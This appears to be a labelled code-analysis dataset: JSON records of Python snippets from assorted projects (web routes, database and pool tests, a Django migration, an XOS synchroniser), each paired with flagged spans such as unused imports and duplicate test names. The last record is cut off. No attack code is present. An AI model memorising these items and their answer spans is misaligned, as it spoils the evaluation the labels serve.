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[ { "content": "@route('/makeperson/*:name/')\ndef makeperson(web, name):\n exist = Person.find().filter(Person.name==name)\n if exist.count() != 0: return 'That person already exists'\n p = Person(name=name, views=0).save()\n return 'Person created'", "metadata": "root.makeperson", "header": "['module', '___EOS___']", "index": 4 } ]

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[ { "content": " @defer.inlineCallbacks\n def test_AsClass(self):\n yield self.coll.insert({'x': 42})\n\n doc = yield self.coll.find_one({})\n self.assertTrue(type(doc) is dict)\n\n class CustomDict(dict):\n pass\n\n doc = yield self.coll.find_one({}, as_class=CustomDict)\n self.assertTrue(type(doc) is CustomDict)", "metadata": "root.TestMongoQueries.test_AsClass", "header": "['class', 'TestMongoQueries', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 232 }, { "content": " @defer.inlineCallbacks\n def test_SimpleUpdate(self):\n yield self.coll.insert([{'x': 42}, {'x': 123}])\n\n yield self.coll.update({}, {\"$set\": {'x': 456}})\n\n docs = yield self.coll.find(fields={\"_id\": 0})\n\n # Check that only one document was updated\n self.assertTrue({'x': 456} in docs)\n self.assertTrue(({'x': 42} in docs) or ({'x': 123} in docs))", "metadata": "root.TestUpdate.test_SimpleUpdate", "header": "['class', 'TestUpdate', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 410 }, { "content": " @defer.inlineCallbacks\n def test_Save(self):\n yield self.assertFailure(self.coll.save(123), TypeError)\n\n yield self.coll.save({'x': 1})\n oid = ObjectId()\n yield self.coll.save({\"_id\": oid, 'x': 2})\n yield self.coll.save({\"_id\": oid, 'x': 3})\n\n docs = yield self.coll.find()\n self.assertTrue(any(doc['x'] == 1 for doc in docs))\n self.assertTrue({\"_id\": oid, 'x': 3} in docs)", "metadata": "root.TestSave.test_Save", "header": "['class', 'TestSave', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 446 }, { "content": " @defer.inlineCallbacks\n def test_RemoveOne(self):\n docs = [{'x': 42}, {'x': 123}]\n yield self.coll.insert(docs)\n yield self.coll.remove({}, single=True)\n\n remaining = yield self.coll.find()\n self.assertEqual(len(remaining), 1)\n self.assertTrue(remaining[0] in docs)", "metadata": "root.TestRemove.test_RemoveOne", "header": "['class', 'TestRemove', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 462 }, { "content": " @defer.inlineCallbacks\n def test_MapReduce(self):\n yield self.coll.insert([\n {\"kid\": \"John\", \"grade\": 5},\n {\"kid\": \"Kate\", \"grade\": 4},\n {\"kid\": \"John\", \"grade\": 4},\n {\"kid\": \"Kate\", \"grade\": 4},\n {\"kid\": \"Adam\", \"grade\": 4},\n {\"kid\": \"Kate\", \"grade\": 2},\n {\"kid\": \"John\", \"grade\": 5},\n ])\n\n t_map = \"\"\"\n function () {\n emit(this.kid, this.grade);\n }\n \"\"\"\n\n t_reduce = \"\"\"\n function (key, values) {\n return Array.sum(values);\n }\n \"\"\"\n\n result = yield self.coll.map_reduce(t_map, t_reduce, out={\"inline\": 1})\n self.assertEqual(len(result), 3)\n self.assertTrue({\"_id\": \"John\", \"value\": 14} in result)\n self.assertTrue({\"_id\": \"Kate\", \"value\": 10} in result)\n self.assertTrue({\"_id\": \"Adam\", \"value\": 4} in result)\n\n result = yield self.coll.map_reduce(t_map, t_reduce, out={\"inline\": 1}, full_response=True)\n self.assertTrue(result[\"ok\"], 1)\n self.assertTrue(\"counts\" in result)\n self.assertTrue(\"results\" in result)", "metadata": "root.TestMapReduce.test_MapReduce", "header": "['class', 'TestMapReduce', '(', '_SingleCollectionTest', ')', ':', '___EOS___']", "index": 522 } ]

[ { "span": "self.assertTrue(type(doc) is dict)", "start_line": 237, "start_column": 8, "end_line": 237, "end_column": 42 }, { "span": "self.assertTrue(type(doc) is CustomDict)", "start_line": 243, "start_column": 8, "end_line": 243, "end_column": 48 }, { "span": "self.assertTrue({'x': 456} in docs)", "start_line": 419, "start_column": 8, "end_line": 419, "end_column": 43 }, { "span": "self.assertTrue({\"_id\": oid, 'x': 3} in docs)", "start_line": 457, "start_column": 8, "end_line": 457, "end_column": 53 }, { "span": "self.assertTrue(remaining[0] in docs)", "start_line": 470, "start_column": 8, "end_line": 470, "end_column": 45 }, { "span": "self.assertTrue({\"_id\": \"John\", \"value\": 14} in result)", "start_line": 548, "start_column": 8, "end_line": 548, "end_column": 63 }, { "span": "self.assertTrue({\"_id\": \"Kate\", \"value\": 10} in result)", "start_line": 549, "start_column": 8, "end_line": 549, "end_column": 63 }, { "span": "self.assertTrue({\"_id\": \"Adam\", \"value\": 4} in result)", "start_line": 550, "start_column": 8, "end_line": 550, "end_column": 62 }, { "span": "self.assertTrue(\"counts\" in result)", "start_line": 554, "start_column": 8, "end_line": 554, "end_column": 43 }, { "span": "self.assertTrue(\"results\" in result)", "start_line": 555, "start_column": 8, "end_line": 555, "end_column": 44 } ]

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[ { "content": "from runner import StoryRunner\nfrom finder import (find_steps_modules,\n find_text_specs,\n find_before_all,\n find_after_all,\n find_before_each,\n find_after_each)\nfrom hooks import BeforeAll, AfterAll, BeforeEach, AfterEach\nfrom console import pycukes_console\nfrom pyhistorian import Given, When, Then, DadoQue, Quando, Entao\nimport console\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]

[ { "span": "from runner import StoryRunner", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 30 }, { "span": "from finder import (find_steps_modules,\n find_text_specs,\n find_before_all,\n find_after_all,\n find_before_each,\n find_after_each)", "start_line": 1, "start_column": 0, "end_line": 6, "end_column": 36 }, { "span": "from hooks import BeforeAll, AfterAll, BeforeEach, AfterEach", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 60 }, { "span": "from console import pycukes_console", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 35 }, { "span": "from pyhistorian import Given, When, Then, DadoQue, Quando, Entao", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 65 }, { "span": "import console", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 14 } ]

[]

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[ { "content": "def get_proc_info(pid):\n \"\"\"\n Use sysctl to retrieve process info.\n \"\"\"\n # Ensure that we have the DLL loaded.\n _init()\n\n # Request the length of the process data.\n mib = (c_uint * 4)(CTL_KERN, KERN_PROC, KERN_PROC_PID, pid)\n oldlen = c_ulong()\n oldlenp = pointer(oldlen)\n r = LIBC.sysctl(mib, len(mib), None, oldlenp, None, 0)\n if r:\n return\n\n # Request the process data.\n reslen = oldlen.value\n old = (c_ubyte * reslen)()\n oldp = pointer(old)\n r = LIBC.sysctl(mib, len(mib), old, oldlenp, None, 0)\n if r:\n return\n #assert oldlen.value <= reslen\n\n return old[:reslen]", "metadata": "root.get_proc_info", "header": "['module', '___EOS___']", "index": 48 } ]

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[]

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[ { "content": " def test_idiv_3(self):\n asm = [\"idiv ebx\"]\n\n ctx_init = {\n 'rax' : 0xFFFFFFFFFFFFFFFE,\n 'rbx' : 0xFFFFFFFFFFFFFFFF,\n 'rdx' : 0xFFFFFFFFFFFFFFFF,\n 'rflags' : 0x202,\n }\n\n x86_ctx_out, reil_ctx_out = self.__run_code(asm, 0xdeadbeef, ctx_init)\n\n # Undefined flags...\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"cf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"of\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"sf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"zf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"af\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"pf\")\n\n cmp_result = self.__compare_contexts(ctx_init, x86_ctx_out, reil_ctx_out)\n\n if not cmp_result:\n self.__save_failing_context(ctx_init)\n\n self.assertTrue(cmp_result, self.__print_contexts(ctx_init, x86_ctx_out, reil_ctx_out))", "metadata": "root.X86TranslationTests.test_idiv_3", "header": "['class', 'X86TranslationTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 454 }, { "content": " def test_idiv_3(self):\n asm = [\"idiv ebx\"]\n\n ctx_init = {\n 'rax' : 0xFFFFFFFFFFFFFFFE,\n 'rbx' : 0xFFFFFFFFFFFFFFFF,\n 'rdx' : 0xFFFFFFFFFFFFFFFF,\n 'rflags' : 0x202,\n }\n\n x86_ctx_out, reil_ctx_out = self.__run_code(asm, 0xdeadbeef, ctx_init)\n\n # Undefined flags...\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"cf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"of\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"sf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"zf\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"af\")\n reil_ctx_out = self.__fix_reil_flag(reil_ctx_out, x86_ctx_out, \"pf\")\n\n cmp_result = self.__compare_contexts(ctx_init, x86_ctx_out, reil_ctx_out)\n\n if not cmp_result:\n self.__save_failing_context(ctx_init)\n\n self.assertTrue(cmp_result, self.__print_contexts(ctx_init, x86_ctx_out, reil_ctx_out))", "metadata": "root.X86TranslationTests.test_idiv_3", "header": "['class', 'X86TranslationTests', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 481 } ]

[ { "span": "test_idiv_3(", "start_line": 454, "start_column": 8, "end_line": 454, "end_column": 19 } ]

[ { "span": "test_idiv_3(", "start_line": 481, "start_column": 8, "end_line": 481, "end_column": 19 } ]

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[ { "content": "def _number(val):\n try:\n return int(val)\n except:\n return None", "metadata": "root._number", "header": "['module', '___EOS___']", "index": 62 } ]

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[]

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[ { "content": "# -*- coding: utf-8 -*-\nimport datetime\nfrom south.db import db\nfrom south.v2 import SchemaMigration\nfrom django.db import models\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Migration(SchemaMigration):\n\n\n\n\n\n models = {\n u'contenttypes.contenttype': {\n 'Meta': {'ordering': \"('name',)\", 'unique_together': \"(('app_label', 'model'),)\", 'object_name': 'ContentType', 'db_table': \"'django_content_type'\"},\n 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}),\n 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'})\n },\n 'widgy.node': {\n 'Meta': {'object_name': 'Node'},\n 'content_id': ('django.db.models.fields.PositiveIntegerField', [], {}),\n 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u\"orm['contenttypes.ContentType']\"}),\n 'depth': ('django.db.models.fields.PositiveIntegerField', [], {}),\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'is_frozen': ('django.db.models.fields.BooleanField', [], {'default': 'False'}),\n 'numchild': ('django.db.models.fields.PositiveIntegerField', [], {'default': '0'}),\n 'path': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '255'})\n },\n u'widgy_i18n.i18nlayout': {\n 'Meta': {'object_name': 'I18NLayout'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}),\n 'language_code': ('django.db.models.fields.CharField', [], {'max_length': '2'})\n },\n u'widgy_i18n.i18nlayoutcontainer': {\n 'Meta': {'object_name': 'I18NLayoutContainer'},\n u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'})\n }\n }\n\n complete_apps = ['widgy_i18n']", "metadata": "root.Migration", "header": "['module', '___EOS___']", "index": 7 }, { "content": " def forwards(self, orm):\n # Adding model 'I18NLayout'\n db.create_table(u'widgy_i18n_i18nlayout', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ('language_code', self.gf('django.db.models.fields.CharField')(max_length=2)),\n ))\n db.send_create_signal(u'widgy_i18n', ['I18NLayout'])\n\n # Adding model 'I18NLayoutContainer'\n db.create_table(u'widgy_i18n_i18nlayoutcontainer', (\n (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)),\n ))\n db.send_create_signal(u'widgy_i18n', ['I18NLayoutContainer'])", "metadata": "root.Migration.forwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 9 }, { "content": " def backwards(self, orm):\n # Deleting model 'I18NLayout'\n db.delete_table(u'widgy_i18n_i18nlayout')\n\n # Deleting model 'I18NLayoutContainer'\n db.delete_table(u'widgy_i18n_i18nlayoutcontainer')", "metadata": "root.Migration.backwards", "header": "['class', 'Migration', '(', 'SchemaMigration', ')', ':', '___EOS___']", "index": 24 } ]

[ { "span": "import datetime", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 15 }, { "span": "from django.db import models", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 28 } ]

[]

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[ { "content": " @classmethod\n def is_member(cls, user, obj): #pragma: nocover\n raise NotImplemented", "metadata": "root.AbstractRole.is_member", "header": "['class', 'AbstractRole', '(', 'object', ')', ':', '___EOS___']", "index": 6 } ]

[ { "span": "NotImplemented", "start_line": 8, "start_column": 14, "end_line": 8, "end_column": 28 } ]

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[ { "content": "import hashlib\nimport os\nimport socket\nimport socket\nimport sys\nimport base64\nimport time\nimport re\nimport json\nfrom django.db.models import F, Q\nfrom xos.config import Config\nfrom synchronizers.base.syncstep import SyncStep\nfrom synchronizers.base.ansible import run_template_ssh\nfrom synchronizers.base.SyncInstanceUsingAnsible import SyncInstanceUsingAnsible\nfrom core.models import Service, Slice, ControllerSlice, ControllerUser\nfrom services.ceilometer.models import SFlowService, SFlowTenant\nfrom xos.logger import Logger, logging\n\n# hpclibrary will be in steps/..\nparentdir = os.path.join(os.path.dirname(__file__),\"..\")\nsys.path.insert(0,parentdir)\n\nlogger = Logger(level=logging.INFO)\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class SyncSFlowTenant(SyncInstanceUsingAnsible):\n provides=[SFlowTenant]\n observes=SFlowTenant\n requested_interval=0\n template_name = \"sync_sflowtenant.yaml\"\n service_key_name = \"/opt/xos/synchronizers/monitoring_channel/monitoring_channel_private_key\"\n\n\n\n\n\n\n\n", "metadata": "root.SyncSFlowTenant", "header": "['module', '___EOS___']", "index": 24 }, { "content": " def __init__(self, *args, **kwargs):\n super(SyncSFlowTenant, self).__init__(*args, **kwargs)", "metadata": "root.SyncSFlowTenant.__init__", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 31 }, { "content": " def fetch_pending(self, deleted):\n if (not deleted):\n objs = SFlowTenant.get_tenant_objects().filter(Q(enacted__lt=F('updated')) | Q(enacted=None),Q(lazy_blocked=False))\n else:\n objs = SFlowTenant.get_deleted_tenant_objects()\n\n return objs", "metadata": "root.SyncSFlowTenant.fetch_pending", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 34 }, { "content": " def get_sflow_service(self, o):\n sflows = SFlowService.get_service_objects().filter(id=o.provider_service.id)\n if not sflows:\n raise \"No associated SFlow service\"\n\n return sflows[0]", "metadata": "root.SyncSFlowTenant.get_sflow_service", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 42 }, { "content": " def get_instance(self, o):\n # We assume the SFlow service owns a slice, so pick one of the instances\n # inside that slice to sync to.\n\n serv = self.get_sflow_service(o)\n\n if serv.slices.exists():\n slice = serv.slices.all()[0]\n if slice.instances.exists():\n return slice.instances.all()[0]\n\n return None", "metadata": "root.SyncSFlowTenant.get_instance", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 49 }, { "content": " def get_extra_attributes(self, o):\n instance = self.get_instance(o)\n\n fields={}\n fields[\"sflow_api_base_url\"] = self.get_sflow_service(o).sflow_api_url\n fields[\"sflow_api_port\"] = self.get_sflow_service(o).sflow_api_port\n fields[\"listening_endpoint\"] = o.listening_endpoint\n fields[\"sflow_container\"] = \"sflowpubsub\"\n\n return fields", "metadata": "root.SyncSFlowTenant.get_extra_attributes", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 62 }, { "content": " def sync_fields(self, o, fields):\n # the super causes the playbook to be run\n super(SyncSFlowTenant, self).sync_fields(o, fields)", "metadata": "root.SyncSFlowTenant.sync_fields", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 73 }, { "content": " def run_playbook(self, o, fields):\n super(SyncSFlowTenant, self).run_playbook(o, fields)", "metadata": "root.SyncSFlowTenant.run_playbook", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 77 }, { "content": " def delete_record(self, m):\n pass", "metadata": "root.SyncSFlowTenant.delete_record", "header": "['class', 'SyncSFlowTenant', '(', 'SyncInstanceUsingAnsible', ')', ':', '___EOS___']", "index": 80 } ]

[ { "span": "import hashlib", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 14 }, { "span": "import socket", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 13 }, { "span": "import socket", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 13 }, { "span": "import base64", "start_line": 5, "start_column": 0, "end_line": 5, "end_column": 13 }, { "span": "import time", "start_line": 6, "start_column": 0, "end_line": 6, "end_column": 11 }, { "span": "import re", "start_line": 7, "start_column": 0, "end_line": 7, "end_column": 9 }, { "span": "import json", "start_line": 8, "start_column": 0, "end_line": 8, "end_column": 11 }, { "span": "from xos.config import Config", "start_line": 10, "start_column": 0, "end_line": 10, "end_column": 29 }, { "span": "from synchronizers.base.syncstep import SyncStep", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 48 }, { "span": "from synchronizers.base.ansible import run_template_ssh", "start_line": 12, "start_column": 0, "end_line": 12, "end_column": 55 }, { "span": "from core.models import Service, Slice, ControllerSlice, ControllerUser", "start_line": 14, "start_column": 0, "end_line": 14, "end_column": 71 } ]

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[ { "content": "from . import TestController\n\nfrom sword2.error_document import Error_Document\nfrom sword2.utils import NS\n\nED = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<sword:error xmlns=\"http://www.w3.org/2005/Atom\"\n xmlns:sword=\"http://purl.org/net/sword/terms/\"\n xmlns:arxiv=\"http://arxiv.org/schemas/atom\"\n href=\"http://example.org/errors/BadManifest\">\n <author>\n <name>Example repository</name>\n </author>\n <title>ERROR</title>\n <updated>2008-02-19T09:34:27Z</updated>\n\n <generator uri=\"https://example.org/sword-app/\"\n version=\"0.9\">sword@example.org</generator>\n\n <summary>The manifest could be parsed, but was not valid - \n no technical metadata was provided.</summary>\n <sword:treatment>processing failed</sword:treatment>\n <sword:verboseDescription>\n Exception at [ ... ]\n </sword:verboseDescription>\n <link rel=\"alternate\" href=\"https://arxiv.org/help\" type=\"text/html\"/>\n\n</sword:error>\n\"\"\"\n\nED2 = \"\"\"<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<sword:error xmlns=\"http://www.w3.org/2005/Atom\"\n xmlns:sword=\"http://purl.org/net/sword/terms/\"\n xmlns:arxiv=\"http://arxiv.org/schemas/atom\"\n href=\"http://purl.org/net/sword/error/TargetOwnerUnknown\">\n <author>\n <name>Example repository</name>\n </author>\n <title>ERROR</title>\n <updated>2008-02-19T09:34:27Z</updated>\n\n <generator uri=\"https://example.org/sword-app/\"\n version=\"0.9\">sword@example.org</generator>\n\n <summary>The manifest could be parsed, but was not valid - \n no technical metadata was provided.</summary>\n <sword:treatment>processing failed</sword:treatment>\n <sword:verboseDescription>\n Exception at [ ... ]\n </sword:verboseDescription>\n <link rel=\"alternate\" href=\"https://arxiv.org/help\" type=\"text/html\"/>\n\n</sword:error>\n\"\"\"\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestEntry(TestController):\n \n \n \n \n ", "metadata": "root.TestEntry", "header": "['module', '___EOS___']", "index": 55 }, { "content": " def test_00_blank_init(self):\n error_d = Error_Document(code=402, resp={'content-type':'text/plain'})\n assert error_d.code == 402\n assert error_d.response_headers['content-type'] == 'text/plain'", "metadata": "root.TestEntry.test_00_blank_init", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 56 }, { "content": " def test_01_init_with_xml(self):\n error_d = Error_Document(ED)\n assert error_d.error_href == \"http://example.org/errors/BadManifest\"\n assert error_d.title == \"ERROR\"\n assert error_d.summary == \"\"\"The manifest could be parsed, but was not valid - \n no technical metadata was provided.\"\"\"\n print error_d.metadata\n assert error_d.verbose_description[0].strip() == \"\"\"Exception at [ ... ]\"\"\", error_d.verbose_description", "metadata": "root.TestEntry.test_01_init_with_xml", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 61 }, { "content": " def test_02_error_info(self):\n error_d = Error_Document(ED)\n # Error href is not a known SWORD2 error\n assert error_d.error_info['IRI'] == \"http://example.org/errors/BadManifest\"\n assert error_d.error_info['name'] == \"UNKNOWNERROR\"", "metadata": "root.TestEntry.test_02_error_info", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 70 }, { "content": " def test_03_init_with_known_error_iri(self):\n error_d = Error_Document(ED2)\n assert error_d.error_href == \"http://purl.org/net/sword/error/TargetOwnerUnknown\"\n assert error_d.error_info['name'] == \"TargetOwnerUnknown\"", "metadata": "root.TestEntry.test_03_init_with_known_error_iri", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 76 }, { "content": " def test_04_validate_code_with_known_error_iri(self):\n error_d = Error_Document(ED2, code=403)\n assert error_d.error_href == \"http://purl.org/net/sword/error/TargetOwnerUnknown\"\n assert error_d.error_info['name'] == \"TargetOwnerUnknown\"\n assert error_d.error_info['codes'] == [403]", "metadata": "root.TestEntry.test_04_validate_code_with_known_error_iri", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 81 }, { "content": " def test_04_invalid_code_with_known_error_iri(self):\n error_d = Error_Document(ED2, code=499)\n assert error_d.error_href == \"http://purl.org/net/sword/error/TargetOwnerUnknown\"\n assert error_d.error_info['name'] == \"UNKNOWNERROR\"\n assert error_d.error_info['codes'] == [499]", "metadata": "root.TestEntry.test_04_invalid_code_with_known_error_iri", "header": "['class', 'TestEntry', '(', 'TestController', ')', ':', '___EOS___']", "index": 87 } ]

[ { "span": "from sword2.utils import NS", "start_line": 3, "start_column": 0, "end_line": 3, "end_column": 27 } ]

[]

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[ { "content": "def speed_tests():\n\n dataset = DataSet(width=80, height=80,\n rng=np.random.RandomState(42),\n max_steps=20000, phi_length=4)\n\n img = np.random.randint(0, 256, size=(80, 80))\n action = np.random.randint(16)\n reward = np.random.random()\n start = time.time()\n for i in range(100000):\n terminal = False\n if np.random.random() < .05:\n terminal = True\n dataset.add_sample(img, action, reward, terminal)\n print \"samples per second: \", 100000 / (time.time() - start)\n\n start = time.time()\n for i in range(200):\n a = dataset.random_batch(32)\n print \"batches per second: \", 200 / (time.time() - start)\n\n print dataset.last_phi()", "metadata": "root.speed_tests", "header": "['module', '___EOS___']", "index": 172 }, { "content": "def test_memory_usage_ok():\n import memory_profiler\n dataset = DataSet(width=80, height=80,\n rng=np.random.RandomState(42),\n max_steps=100000, phi_length=4)\n last = time.time()\n\n for i in xrange(1000000000):\n if (i % 100000) == 0:\n print i\n dataset.add_sample(np.random.random((80, 80)), 1, 1, False)\n if i > 200000:\n states, actions, rewards, next_states, terminals = \\\n dataset.random_batch(32)\n if (i % 10007) == 0:\n print time.time() - last\n mem_usage = memory_profiler.memory_usage(-1)\n print len(dataset), mem_usage\n last = time.time()", "metadata": "root.test_memory_usage_ok", "header": "['module', '___EOS___']", "index": 235 } ]

[ { "span": "a ", "start_line": 191, "start_column": 8, "end_line": 191, "end_column": 9 }, { "span": "states,", "start_line": 247, "start_column": 12, "end_line": 247, "end_column": 18 }, { "span": "actions,", "start_line": 247, "start_column": 20, "end_line": 247, "end_column": 27 }, { "span": "rewards,", "start_line": 247, "start_column": 29, "end_line": 247, "end_column": 36 }, { "span": "next_states,", "start_line": 247, "start_column": 38, "end_line": 247, "end_column": 49 }, { "span": "terminals ", "start_line": 247, "start_column": 51, "end_line": 247, "end_column": 60 } ]

[]

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[ { "content": " def test_first_connect_event(self):\n p, canary = self._first_connect_event_fixture()\n\n c1 = p.connect()\n eq_(canary, ['first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_event", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 407 }, { "content": " def test_first_connect_event_fires_once(self):\n p, canary = self._first_connect_event_fixture()\n\n c1 = p.connect()\n c2 = p.connect()\n\n eq_(canary, ['first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_event_fires_once", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 413 }, { "content": " def test_first_connect_on_previously_recreated(self):\n p, canary = self._first_connect_event_fixture()\n\n p2 = p.recreate()\n c1 = p.connect()\n c2 = p2.connect()\n\n eq_(canary, ['first_connect', 'first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_on_previously_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 421 }, { "content": " def test_first_connect_on_subsequently_recreated(self):\n p, canary = self._first_connect_event_fixture()\n\n c1 = p.connect()\n p2 = p.recreate()\n c2 = p2.connect()\n\n eq_(canary, ['first_connect', 'first_connect'])", "metadata": "root.PoolEventsTest.test_first_connect_on_subsequently_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 430 }, { "content": " def test_connect_event(self):\n p, canary = self._connect_event_fixture()\n\n c1 = p.connect()\n eq_(canary, ['connect'])", "metadata": "root.PoolEventsTest.test_connect_event", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 439 }, { "content": " def test_connect_event_fires_subsequent(self):\n p, canary = self._connect_event_fixture()\n\n c1 = p.connect()\n c2 = p.connect()\n\n eq_(canary, ['connect', 'connect'])", "metadata": "root.PoolEventsTest.test_connect_event_fires_subsequent", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 445 }, { "content": " def test_connect_on_previously_recreated(self):\n p, canary = self._connect_event_fixture()\n\n p2 = p.recreate()\n\n c1 = p.connect()\n c2 = p2.connect()\n\n eq_(canary, ['connect', 'connect'])", "metadata": "root.PoolEventsTest.test_connect_on_previously_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 453 }, { "content": " def test_connect_on_subsequently_recreated(self):\n p, canary = self._connect_event_fixture()\n\n c1 = p.connect()\n p2 = p.recreate()\n c2 = p2.connect()\n\n eq_(canary, ['connect', 'connect'])", "metadata": "root.PoolEventsTest.test_connect_on_subsequently_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 463 }, { "content": " def test_checkout_event(self):\n p, canary = self._checkout_event_fixture()\n\n c1 = p.connect()\n eq_(canary, ['checkout'])", "metadata": "root.PoolEventsTest.test_checkout_event", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 472 }, { "content": " def test_checkout_event_fires_subsequent(self):\n p, canary = self._checkout_event_fixture()\n\n c1 = p.connect()\n c2 = p.connect()\n eq_(canary, ['checkout', 'checkout'])", "metadata": "root.PoolEventsTest.test_checkout_event_fires_subsequent", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 478 }, { "content": " def test_checkout_event_on_subsequently_recreated(self):\n p, canary = self._checkout_event_fixture()\n\n c1 = p.connect()\n p2 = p.recreate()\n c2 = p2.connect()\n\n eq_(canary, ['checkout', 'checkout'])", "metadata": "root.PoolEventsTest.test_checkout_event_on_subsequently_recreated", "header": "['class', 'PoolEventsTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", "index": 485 }, { "content": " def _do_testqueuepool(self, useclose=False):\n p = self._queuepool_fixture(pool_size=3,\n max_overflow=-1)\n\n def status(pool):\n return pool.size(), pool.checkedin(), pool.overflow(), \\\n pool.checkedout()\n\n c1 = p.connect()\n self.assert_(status(p) == (3, 0, -2, 1))\n c2 = p.connect()\n self.assert_(status(p) == (3, 0, -1, 2))\n c3 = p.connect()\n self.assert_(status(p) == (3, 0, 0, 3))\n c4 = p.connect()\n self.assert_(status(p) == (3, 0, 1, 4))\n c5 = p.connect()\n self.assert_(status(p) == (3, 0, 2, 5))\n c6 = p.connect()\n self.assert_(status(p) == (3, 0, 3, 6))\n if useclose:\n c4.close()\n c3.close()\n c2.close()\n else:\n c4 = c3 = c2 = None\n lazy_gc()\n self.assert_(status(p) == (3, 3, 3, 3))\n if useclose:\n c1.close()\n c5.close()\n c6.close()\n else:\n c1 = c5 = c6 = None\n lazy_gc()\n self.assert_(status(p) == (3, 3, 0, 0))\n c1 = p.connect()\n c2 = p.connect()\n self.assert_(status(p) == (3, 1, 0, 2), status(p))\n if useclose:\n c2.close()\n else:\n c2 = None\n lazy_gc()\n self.assert_(status(p) == (3, 2, 0, 1))\n c1.close()\n lazy_gc()\n assert not pool._refs", "metadata": "root.QueuePoolTest._do_testqueuepool", "header": "['class', 'QueuePoolTest', '(', 'PoolTestBase', ')', ':', '___EOS___']", 